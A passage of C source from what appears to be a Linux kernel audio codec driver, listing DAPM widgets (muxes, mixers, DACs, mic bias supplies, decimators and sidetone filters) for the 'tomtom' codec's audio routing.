SND_SOC_DAPM_MUX("SLIM RX4 MUX", SND_SOC_NOPM, TOMTOM_RX4, 0,
&slim_rx_mux[TOMTOM_RX4]),
SND_SOC_DAPM_MUX("SLIM RX5 MUX", SND_SOC_NOPM, TOMTOM_RX5, 0,
&slim_rx_mux[TOMTOM_RX5]),
SND_SOC_DAPM_MUX("SLIM RX6 MUX", SND_SOC_NOPM, TOMTOM_RX6, 0,
&slim_rx_mux[TOMTOM_RX6]),
SND_SOC_DAPM_MUX("SLIM RX7 MUX", SND_SOC_NOPM, TOMTOM_RX7, 0,
&slim_rx_mux[TOMTOM_RX7]),
SND_SOC_DAPM_MUX("SLIM RX8 MUX", SND_SOC_NOPM, TOMTOM_RX8, 0,
&slim_rx_mux[TOMTOM_RX8]),
SND_SOC_DAPM_MIXER("SLIM RX1", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("SLIM RX2", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("SLIM RX3", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("SLIM RX4", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("SLIM RX5", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("SLIM RX6", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("SLIM RX7", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("SLIM RX8", SND_SOC_NOPM, 0, 0, NULL, 0),
/* Headphone */
SND_SOC_DAPM_OUTPUT("HEADPHONE"),
SND_SOC_DAPM_PGA_E("HPHL", TOMTOM_A_RX_HPH_CNP_EN, 5, 0, NULL, 0,
tomtom_hph_pa_event, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MIXER_E("HPHL DAC", TOMTOM_A_RX_HPH_L_DAC_CTL, 7, 0,
hphl_switch, ARRAY_SIZE(hphl_switch), tomtom_hphl_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_PGA_E("HPHR", TOMTOM_A_RX_HPH_CNP_EN, 4, 0, NULL, 0,
tomtom_hph_pa_event, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_DAC_E("HPHR DAC", NULL, TOMTOM_A_RX_HPH_R_DAC_CTL, 7, 0,
tomtom_hphr_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
/* Speaker */
SND_SOC_DAPM_OUTPUT("LINEOUT1"),
SND_SOC_DAPM_OUTPUT("LINEOUT2"),
SND_SOC_DAPM_OUTPUT("LINEOUT3"),
SND_SOC_DAPM_OUTPUT("LINEOUT4"),
SND_SOC_DAPM_OUTPUT("SPK_OUT"),
SND_SOC_DAPM_PGA_E("LINEOUT1 PA", TOMTOM_A_RX_LINE_CNP_EN, 0, 0, NULL,
0, tomtom_codec_enable_lineout, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_PGA_E("LINEOUT2 PA", TOMTOM_A_RX_LINE_CNP_EN, 1, 0, NULL,
0, tomtom_codec_enable_lineout, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_PGA_E("LINEOUT3 PA", TOMTOM_A_RX_LINE_CNP_EN, 2, 0, NULL,
0, tomtom_codec_enable_lineout, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_PGA_E("LINEOUT4 PA", TOMTOM_A_RX_LINE_CNP_EN, 3, 0, NULL,
0, tomtom_codec_enable_lineout, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_PGA_E("SPK PA", SND_SOC_NOPM, 0, 0 , NULL,
0, tomtom_codec_enable_spk_pa,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_PGA_E("SPK2 PA", SND_SOC_NOPM, 0, 0 , NULL,
0, tomtom_codec_enable_spk_pa,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_DAC_E("LINEOUT1 DAC", NULL, TOMTOM_A_RX_LINE_1_DAC_CTL, 7,
0, tomtom_lineout_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_DAC_E("LINEOUT2 DAC", NULL, TOMTOM_A_RX_LINE_2_DAC_CTL, 7,
0, tomtom_lineout_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_DAC_E("LINEOUT3 DAC", NULL, TOMTOM_A_RX_LINE_3_DAC_CTL, 7,
0, tomtom_lineout_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_SWITCH("LINEOUT3 DAC GROUND", SND_SOC_NOPM, 0, 0,
&lineout3_ground_switch),
SND_SOC_DAPM_DAC_E("LINEOUT4 DAC", NULL, TOMTOM_A_RX_LINE_4_DAC_CTL, 7,
0, tomtom_lineout_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_SWITCH("LINEOUT4 DAC GROUND", SND_SOC_NOPM, 0, 0,
&lineout4_ground_switch),
SND_SOC_DAPM_DAC_E("SPK DAC", NULL, TOMTOM_A_CDC_BOOST_TRGR_EN, 0, 0,
tomtom_spk_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_DAC_E("SPK2 DAC", NULL, TOMTOM_A_CDC_BOOST_TRGR_EN, 1, 0,
tomtom_spk_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_SUPPLY("VDD_SPKDRV", SND_SOC_NOPM, 0, 0,
tomtom_codec_enable_vdd_spkr,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_SUPPLY("VDD_SPKDRV2", SND_SOC_NOPM, 0, 0,
tomtom_codec_enable_vdd_spkr2,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_SUPPLY("MICBIAS_REGULATOR", SND_SOC_NOPM,
ON_DEMAND_MICBIAS, 0,
tomtom_codec_enable_on_demand_supply,
SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MIXER("RX1 MIX1", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("RX2 MIX1", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("RX7 MIX1", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("RX1 MIX2", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("RX2 MIX2", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER_E("RX3 MIX1", TOMTOM_A_CDC_CLK_RX_B1_CTL, 2, 0, NULL,
0, tomtom_codec_enable_interpolator, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_MIXER_E("RX4 MIX1", TOMTOM_A_CDC_CLK_RX_B1_CTL, 3, 0, NULL,
0, tomtom_codec_enable_interpolator, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_MIXER_E("RX5 MIX1", TOMTOM_A_CDC_CLK_RX_B1_CTL, 4, 0, NULL,
0, tomtom_codec_enable_interpolator, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_MIXER_E("RX6 MIX1", TOMTOM_A_CDC_CLK_RX_B1_CTL, 5, 0, NULL,
0, tomtom_codec_enable_interpolator, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_MIXER_E("RX7 MIX2", TOMTOM_A_CDC_CLK_RX_B1_CTL, 6, 0, NULL,
0, tomtom_codec_enable_interpolator, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_MIXER_E("RX8 MIX1", TOMTOM_A_CDC_CLK_RX_B1_CTL, 7, 0, NULL,
0, tomtom_codec_enable_interpolator, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_MUX_E("RX1 INTERP", TOMTOM_A_CDC_CLK_RX_B1_CTL, 0, 0,
&rx1_interp_mux, tomtom_codec_enable_interpolator,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_MUX_E("RX2 INTERP", TOMTOM_A_CDC_CLK_RX_B1_CTL, 1, 0,
&rx2_interp_mux, tomtom_codec_enable_interpolator,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_MIXER("RX1 CHAIN", TOMTOM_A_CDC_RX1_B6_CTL, 5, 0, NULL, 0),
SND_SOC_DAPM_MIXER("RX2 CHAIN", TOMTOM_A_CDC_RX2_B6_CTL, 5, 0, NULL, 0),
SND_SOC_DAPM_MUX("RX1 MIX1 INP1", SND_SOC_NOPM, 0, 0,
&rx_mix1_inp1_mux),
SND_SOC_DAPM_MUX("RX1 MIX1 INP2", SND_SOC_NOPM, 0, 0,
&rx_mix1_inp2_mux),
SND_SOC_DAPM_MUX("RX1 MIX1 INP3", SND_SOC_NOPM, 0, 0,
&rx_mix1_inp3_mux),
SND_SOC_DAPM_MUX("RX2 MIX1 INP1", SND_SOC_NOPM, 0, 0,
&rx2_mix1_inp1_mux),
SND_SOC_DAPM_MUX("RX2 MIX1 INP2", SND_SOC_NOPM, 0, 0,
&rx2_mix1_inp2_mux),
SND_SOC_DAPM_MUX("RX3 MIX1 INP1", SND_SOC_NOPM, 0, 0,
&rx3_mix1_inp1_mux),
SND_SOC_DAPM_MUX("RX3 MIX1 INP2", SND_SOC_NOPM, 0, 0,
&rx3_mix1_inp2_mux),
SND_SOC_DAPM_MUX("RX4 MIX1 INP1", SND_SOC_NOPM, 0, 0,
&rx4_mix1_inp1_mux),
SND_SOC_DAPM_MUX("RX4 MIX1 INP2", SND_SOC_NOPM, 0, 0,
&rx4_mix1_inp2_mux),
SND_SOC_DAPM_MUX("RX5 MIX1 INP1", SND_SOC_NOPM, 0, 0,
&rx5_mix1_inp1_mux),
SND_SOC_DAPM_MUX("RX5 MIX1 INP2", SND_SOC_NOPM, 0, 0,
&rx5_mix1_inp2_mux),
SND_SOC_DAPM_MUX("RX6 MIX1 INP1", SND_SOC_NOPM, 0, 0,
&rx6_mix1_inp1_mux),
SND_SOC_DAPM_MUX("RX6 MIX1 INP2", SND_SOC_NOPM, 0, 0,
&rx6_mix1_inp2_mux),
SND_SOC_DAPM_MUX("RX7 MIX1 INP1", SND_SOC_NOPM, 0, 0,
&rx7_mix1_inp1_mux),
SND_SOC_DAPM_MUX("RX7 MIX1 INP2", SND_SOC_NOPM, 0, 0,
&rx7_mix1_inp2_mux),
SND_SOC_DAPM_MUX("RX8 MIX1 INP1", SND_SOC_NOPM, 0, 0,
&rx8_mix1_inp1_mux),
SND_SOC_DAPM_MUX("RX8 MIX1 INP2", SND_SOC_NOPM, 0, 0,
&rx8_mix1_inp2_mux),
SND_SOC_DAPM_MUX("RX1 MIX2 INP1", SND_SOC_NOPM, 0, 0,
&rx1_mix2_inp1_mux),
SND_SOC_DAPM_MUX("RX1 MIX2 INP2", SND_SOC_NOPM, 0, 0,
&rx1_mix2_inp2_mux),
SND_SOC_DAPM_MUX("RX2 MIX2 INP1", SND_SOC_NOPM, 0, 0,
&rx2_mix2_inp1_mux),
SND_SOC_DAPM_MUX("RX2 MIX2 INP2", SND_SOC_NOPM, 0, 0,
&rx2_mix2_inp2_mux),
SND_SOC_DAPM_MUX("RX7 MIX2 INP1", SND_SOC_NOPM, 0, 0,
&rx7_mix2_inp1_mux),
SND_SOC_DAPM_MUX("RX7 MIX2 INP2", SND_SOC_NOPM, 0, 0,
&rx7_mix2_inp2_mux),
SND_SOC_DAPM_MUX("RDAC5 MUX", SND_SOC_NOPM, 0, 0,
&rx_dac5_mux),
SND_SOC_DAPM_MUX("RDAC7 MUX", SND_SOC_NOPM, 0, 0,
&rx_dac7_mux),
SND_SOC_DAPM_MUX("MAD_SEL MUX", SND_SOC_NOPM, 0, 0,
&mad_sel_mux),
SND_SOC_DAPM_MUX_E("CLASS_H_DSM MUX", SND_SOC_NOPM, 0, 0,
&class_h_dsm_mux, tomtom_codec_dsm_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_SUPPLY("RX_BIAS", SND_SOC_NOPM, 0, 0,
tomtom_codec_enable_rx_bias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_SUPPLY("CDC_I2S_RX_CONN", WCD9XXX_A_CDC_CLK_OTHR_CTL, 5, 0,
NULL, 0),
/* TX */
SND_SOC_DAPM_SUPPLY("CDC_CONN", WCD9XXX_A_CDC_CLK_OTHR_CTL, 2, 0, NULL,
0),
SND_SOC_DAPM_SUPPLY("LDO_H", SND_SOC_NOPM, 7, 0,
tomtom_codec_enable_ldo_h,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
/*
* DAPM 'LDO_H Standalone' is to be powered by mbhc driver after
* acquring codec_resource lock.
* So call __tomtom_codec_enable_ldo_h instead and avoid deadlock.
*/
SND_SOC_DAPM_SUPPLY("LDO_H Standalone", SND_SOC_NOPM, 7, 0,
__tomtom_codec_enable_ldo_h,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_SUPPLY("COMP0_CLK", SND_SOC_NOPM, 0, 0,
tomtom_config_compander, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_PRE_PMD),
SND_SOC_DAPM_SUPPLY("COMP1_CLK", SND_SOC_NOPM, 1, 0,
tomtom_config_compander, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_PRE_PMD),
SND_SOC_DAPM_SUPPLY("COMP2_CLK", SND_SOC_NOPM, 2, 0,
tomtom_config_compander, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_PRE_PMD),
SND_SOC_DAPM_INPUT("AMIC1"),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS1 External", SND_SOC_NOPM, 7, 0,
tomtom_codec_enable_micbias,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS1 Internal1", SND_SOC_NOPM, 7, 0,
tomtom_codec_enable_micbias,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS1 Internal2", SND_SOC_NOPM, 7, 0,
tomtom_codec_enable_micbias,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_INPUT("AMIC3"),
SND_SOC_DAPM_INPUT("AMIC4"),
SND_SOC_DAPM_INPUT("AMIC5"),
SND_SOC_DAPM_INPUT("AMIC6"),
SND_SOC_DAPM_MUX_E("DEC1 MUX", TOMTOM_A_CDC_CLK_TX_CLK_EN_B1_CTL, 0, 0,
&dec1_mux, tomtom_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("DEC2 MUX", TOMTOM_A_CDC_CLK_TX_CLK_EN_B1_CTL, 1, 0,
&dec2_mux, tomtom_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("DEC3 MUX", TOMTOM_A_CDC_CLK_TX_CLK_EN_B1_CTL, 2, 0,
&dec3_mux, tomtom_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("DEC4 MUX", TOMTOM_A_CDC_CLK_TX_CLK_EN_B1_CTL, 3, 0,
&dec4_mux, tomtom_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("DEC5 MUX", TOMTOM_A_CDC_CLK_TX_CLK_EN_B1_CTL, 4, 0,
&dec5_mux, tomtom_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("DEC6 MUX", TOMTOM_A_CDC_CLK_TX_CLK_EN_B1_CTL, 5, 0,
&dec6_mux, tomtom_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("DEC7 MUX", TOMTOM_A_CDC_CLK_TX_CLK_EN_B1_CTL, 6, 0,
&dec7_mux, tomtom_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("DEC8 MUX", TOMTOM_A_CDC_CLK_TX_CLK_EN_B1_CTL, 7, 0,
&dec8_mux, tomtom_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("DEC9 MUX", TOMTOM_A_CDC_CLK_TX_CLK_EN_B2_CTL, 0, 0,
&dec9_mux, tomtom_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("DEC10 MUX", TOMTOM_A_CDC_CLK_TX_CLK_EN_B2_CTL, 1, 0,
&dec10_mux, tomtom_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX("ANC1 MUX", SND_SOC_NOPM, 0, 0, &anc1_mux),
SND_SOC_DAPM_MUX("ANC2 MUX", SND_SOC_NOPM, 0, 0, &anc2_mux),
SND_SOC_DAPM_OUTPUT("ANC HEADPHONE"),
SND_SOC_DAPM_PGA_E("ANC HPHL", SND_SOC_NOPM, 5, 0, NULL, 0,
tomtom_codec_enable_anc_hph,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_PRE_PMD |
SND_SOC_DAPM_POST_PMD | SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_PGA_E("ANC HPHR", SND_SOC_NOPM, 4, 0, NULL, 0,
tomtom_codec_enable_anc_hph, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD |
SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_OUTPUT("ANC EAR"),
SND_SOC_DAPM_PGA_E("ANC EAR PA", SND_SOC_NOPM, 0, 0, NULL, 0,
tomtom_codec_enable_anc_ear,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_PRE_PMD |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX("ANC1 FB MUX", SND_SOC_NOPM, 0, 0, &anc1_fb_mux),
SND_SOC_DAPM_INPUT("AMIC2"),
SND_SOC_DAPM_MICBIAS_E(DAPM_MICBIAS2_EXTERNAL_STANDALONE, SND_SOC_NOPM,
7, 0, tomtom_codec_enable_micbias,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS2 External", SND_SOC_NOPM, 7, 0,
tomtom_codec_enable_micbias,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS2 Internal1", SND_SOC_NOPM, 7, 0,
tomtom_codec_enable_micbias,
SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS2 Internal2", SND_SOC_NOPM, 7, 0,
tomtom_codec_enable_micbias,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS2 Internal3", SND_SOC_NOPM, 7, 0,
tomtom_codec_enable_micbias,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS3 External", SND_SOC_NOPM, 7, 0,
tomtom_codec_enable_micbias,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS3 Internal1", SND_SOC_NOPM, 7, 0,
tomtom_codec_enable_micbias,
SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS3 Internal2", SND_SOC_NOPM, 7, 0,
tomtom_codec_enable_micbias,
SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS4 External", SND_SOC_NOPM, 7,
0, tomtom_codec_enable_micbias,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_OUT_E("AIF1 CAP", "AIF1 Capture", 0, SND_SOC_NOPM,
AIF1_CAP, 0, tomtom_codec_enable_slimtx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_OUT_E("AIF2 CAP", "AIF2 Capture", 0, SND_SOC_NOPM,
AIF2_CAP, 0, tomtom_codec_enable_slimtx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_OUT_E("AIF3 CAP", "AIF3 Capture", 0, SND_SOC_NOPM,
AIF3_CAP, 0, tomtom_codec_enable_slimtx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_OUT_E("AIF4 VI", "VIfeed", 0, SND_SOC_NOPM,
AIF4_VIFEED, 0, tomtom_codec_enable_slimvi_feedback,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_OUT_E("AIF4 MAD", "AIF4 MAD TX", 0,
SND_SOC_NOPM, 0, 0,
tomtom_codec_enable_mad,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_SWITCH("MADONOFF", SND_SOC_NOPM, 0, 0,
&aif4_mad_switch),
SND_SOC_DAPM_INPUT("MADINPUT"),
SND_SOC_DAPM_INPUT("MAD_CPE_INPUT"),
SND_SOC_DAPM_MIXER("AIF1_CAP Mixer", SND_SOC_NOPM, AIF1_CAP, 0,
aif1_cap_mixer, ARRAY_SIZE(aif1_cap_mixer)),
SND_SOC_DAPM_MIXER("AIF4_VI Mixer", SND_SOC_NOPM, AIF4_VIFEED, 0,
aif4_vi_mixer, ARRAY_SIZE(aif4_vi_mixer)),
SND_SOC_DAPM_MIXER("AIF2_CAP Mixer", SND_SOC_NOPM, AIF2_CAP, 0,
aif2_cap_mixer, ARRAY_SIZE(aif2_cap_mixer)),
SND_SOC_DAPM_MIXER("AIF3_CAP Mixer", SND_SOC_NOPM, AIF3_CAP, 0,
aif3_cap_mixer, ARRAY_SIZE(aif3_cap_mixer)),
SND_SOC_DAPM_MUX("SLIM TX1 MUX", SND_SOC_NOPM, TOMTOM_TX1, 0,
&sb_tx1_mux),
SND_SOC_DAPM_MUX("SLIM TX2 MUX", SND_SOC_NOPM, TOMTOM_TX2, 0,
&sb_tx2_mux),
SND_SOC_DAPM_MUX("SLIM TX3 MUX", SND_SOC_NOPM, TOMTOM_TX3, 0,
&sb_tx3_mux),
SND_SOC_DAPM_MUX("SLIM TX4 MUX", SND_SOC_NOPM, TOMTOM_TX4, 0,
&sb_tx4_mux),
SND_SOC_DAPM_MUX("SLIM TX5 MUX", SND_SOC_NOPM, TOMTOM_TX5, 0,
&sb_tx5_mux),
SND_SOC_DAPM_MUX("SLIM TX6 MUX", SND_SOC_NOPM, TOMTOM_TX6, 0,
&sb_tx6_mux),
SND_SOC_DAPM_MUX("SLIM TX7 MUX", SND_SOC_NOPM, TOMTOM_TX7, 0,
&sb_tx7_mux),
SND_SOC_DAPM_MUX("SLIM TX8 MUX", SND_SOC_NOPM, TOMTOM_TX8, 0,
&sb_tx8_mux),
SND_SOC_DAPM_MUX("SLIM TX9 MUX", SND_SOC_NOPM, TOMTOM_TX9, 0,
&sb_tx9_mux),
SND_SOC_DAPM_MUX("SLIM TX10 MUX", SND_SOC_NOPM, TOMTOM_TX10, 0,
&sb_tx10_mux),
/* Digital Mic Inputs */
SND_SOC_DAPM_ADC_E("DMIC1", NULL, SND_SOC_NOPM, 0, 0,
tomtom_codec_enable_dmic, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("DMIC2", NULL, SND_SOC_NOPM, 0, 0,
tomtom_codec_enable_dmic, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("DMIC3", NULL, SND_SOC_NOPM, 0, 0,
tomtom_codec_enable_dmic, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("DMIC4", NULL, SND_SOC_NOPM, 0, 0,
tomtom_codec_enable_dmic, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("DMIC5", NULL, SND_SOC_NOPM, 0, 0,
tomtom_codec_enable_dmic, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("DMIC6", NULL, SND_SOC_NOPM, 0, 0,
tomtom_codec_enable_dmic, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
/* Sidetone */
SND_SOC_DAPM_MUX("IIR1 INP1 MUX", SND_SOC_NOPM, 0, 0, &iir1_inp1_mux),
SND_SOC_DAPM_MUX("IIR1 INP2 MUX", SND_SOC_NOPM, 0, 0, &iir1_inp2_mux),
SND_SOC_DAPM_MUX("IIR1 INP3 MUX", SND_SOC_NOPM, 0, 0, &iir1_inp3_mux),
SND_SOC_DAPM_MUX("IIR1 INP4 MUX", SND_SOC_NOPM, 0, 0, &iir1_inp4_mux),
SND_SOC_DAPM_MIXER_E("IIR1", TOMTOM_A_CDC_CLK_SD_CTL, 0, 0, NULL, 0,
tomtom_codec_set_iir_gain, SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD),
SND_SOC_DAPM_MUX("IIR2 INP1 MUX", SND_SOC_NOPM, 0, 0, &iir2_inp1_mux),
SND_SOC_DAPM_MUX("IIR2 INP2 MUX", SND_SOC_NOPM, 0, 0, &iir2_inp2_mux),
SND_SOC_DAPM_MUX("IIR2 INP3 MUX", SND_SOC_NOPM, 0, 0, &iir2_inp3_mux),
SND_SOC_DAPM_MUX("IIR2 INP4 MUX", SND_SOC_NOPM, 0, 0, &iir2_inp4_mux),
SND_SOC_DAPM_MIXER_E("IIR2", TOMTOM_A_CDC_CLK_SD_CTL, 1, 0, NULL, 0,
tomtom_codec_set_iir_gain, SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD),
/* AUX PGA */
SND_SOC_DAPM_ADC_E("AUX_PGA_Left", NULL, TOMTOM_A_RX_AUX_SW_CTL, 7, 0,
tomtom_codec_enable_aux_pga, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
